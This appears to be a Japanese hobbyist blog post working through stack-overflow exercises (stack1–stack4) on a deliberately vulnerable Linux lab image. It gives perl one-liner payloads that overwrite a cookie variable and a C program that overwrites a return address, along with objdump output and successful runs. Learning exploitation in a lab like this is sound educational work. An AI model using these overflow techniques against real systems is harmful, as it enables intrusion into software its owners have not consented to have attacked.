まずは基本ということでスタックオーバーフローの再勉強中。
メインPCはAMD64でdebianのsidを動かしてますが、勉強環境はqemu + Damn Vulnerable Linuxで安全かつセキュアじゃない環境です(^^)
参考書籍はO'REILLYから出ている「HACKING:美しき策謀」。
手始めにdvlにも収録されてるこれのWARMING UP on STACKから。
#1〜5まで共通して実行時に変数のアドレスが出るのでそこからオーバーフローに必要なサイズを計算。
#1はcookieの値が0x41424344になれば良いのでDCBAで上書きすれば良いってこと。
と言うわけでこんな感じで#1はこんな感じに。
#perl -e 'print "\x41"x92 . "\x44\x43\x42\x41";' | ./stack1 buf: ffc38cc0 cookie: ffc38d1c you win!
#2も同じ感じで
perl -e 'print "\x41"x92 . "\x05\x03\x02\x01";' | ./stack2 buf: ffc87d10 cookie: ffc87d6c you win!
#3もまたまた同じ感じで
perl -e 'print "\x41"x92 . "\x05\x00\x02\x01";' | ./stack3 buf: ffdcf650 cookie: ffdcf6ac you win!
#4は改行コードが入るのでperlで上手くできませんでした・・・
google先生に尋ねた所#4はmain()の戻り先を変えてprintf()に飛ぶようにするということだったので何とかコードを書いてみました。
実行環境はQEMU(x86)なのでlongのサイズは4byteで決め打ちしてます。
// stack4-test.c #include#include #define RET 0x8048402 int main() { char buffer[200]; // サイズは適当 int i = 0; memset(buffer, '\x90', sizeof(buffer)); for (i = 92; i < 200; i += sizeof(long)) *(long *) &buffer[i] = RET; buffer[200] = '\0'; printf(buffer); return 0; }
このコードのRETがstack4でのprintf()のアドレスでobjdumpで調べると分かった。
# objdump -d stack4 080483c4: snip 8048400: 75 0c jne 804840e 8048402: c7 04 24 3c 85 04 08 movl $0x804853c,(%esp) <-- ここが戻りたい場所 8048409: e8 d6 fe ff ff call 80482e4 804840e: c9 leave 804840f: c3 ret
で、stack4-test.cをコンパイルして実行すると
bt 1_warming_up_on_stack # ./stack4-test | ./stack4 buf: bfb05030 cookie: bfb0508c you win! Segmentation fault bt 1_warming_up_on_stack #
きたーーー!!